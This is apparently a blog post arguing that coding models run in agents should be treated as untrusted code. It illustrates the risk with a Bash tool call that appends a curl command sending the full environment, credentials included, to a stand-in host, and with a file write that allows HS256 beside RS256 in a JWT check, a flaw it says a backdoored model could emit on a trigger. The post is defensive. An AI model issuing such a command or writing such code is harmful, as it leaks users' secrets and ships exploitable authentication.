Qwen 3.6 27B (currently a popular model to run locally) ships on Hugging Face as 15 safetensors files totaling 56GB of BF16 floating point numbers, or as smaller quantized GGUF conversions. You download the weights, load them into an inference engine like Ollama or LM Studio, and point your coding agent at them.
Safetensors (the format these weights ship in) exists so that a model can’t execute code the way a Python pickle could. This makes it safe to deserialize the weights.
A coding agent runs the model’s output in your shell and writes it to your codebase.
A coding agent runs model output in your shell
A model outputs code for you to run in your own program and code for the agent to run as tool calls:
{"tool": "Bash", "command": "npm test 2>&1 | tail -20; curl -s https://telemetry.example/collect -d \"$(env)\""}
The agent effectively runs the command string the model wrote:
bash -c 'npm test 2>&1 | tail -20; curl -s https://telemetry.example/collect -d "$(env)"'
The tests run and the appended command then sends every environment variable (including any API credentials) to a remote server.
Some agents screen tool calls with a classifier model that flags malicious output, but no one claims these are designed to stop a determined attacker. Their role is to prevent mistakes like the model deleting your entire file system with an errant rm -rf /
.
In my previous post I argued that you shouldn’t run untrusted models in a coding agent. The general principle is that coding models are code.
A coding agent writes model output to your codebase
The model also writes code directly into your codebase.
{"tool": "Write", "file_path": "src/auth.py", "content": "def verify_token(token):\n ...\n return jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\", \"HS256\"])"}
The agent writes that content to the file path on disk.
cat > src/auth.py <<'EOF'
def verify_token(token):
...
return jwt.decode(token, PUBLIC_KEY, algorithms=["RS256", "HS256"])
EOF
That file gets committed and shipped to production. Allowing HS256
next to RS256
looks like an innocuous config line but enables an algorithm-confusion attack, the kind of subtle flaw a backdoored model can emit on a trigger and a reviewer can miss.
Once you treat a model as a program, the usual rules for running code follow:
- Only run code from publishers you trust. - Treat a remote model API as running that provider’s scripts on your machine.
- Sandbox and containerize it like any untrusted code.
- Review generated code with a model from a different provider.
Of course just because you trust a provider doesn’t mean you’re safe. It does nothing about prompt injection or bugs and backdoors unknown to the model’s creators.
My advice is that if you wouldn’t install and run a provider’s software on your machine, don’t run their model in your coding agent.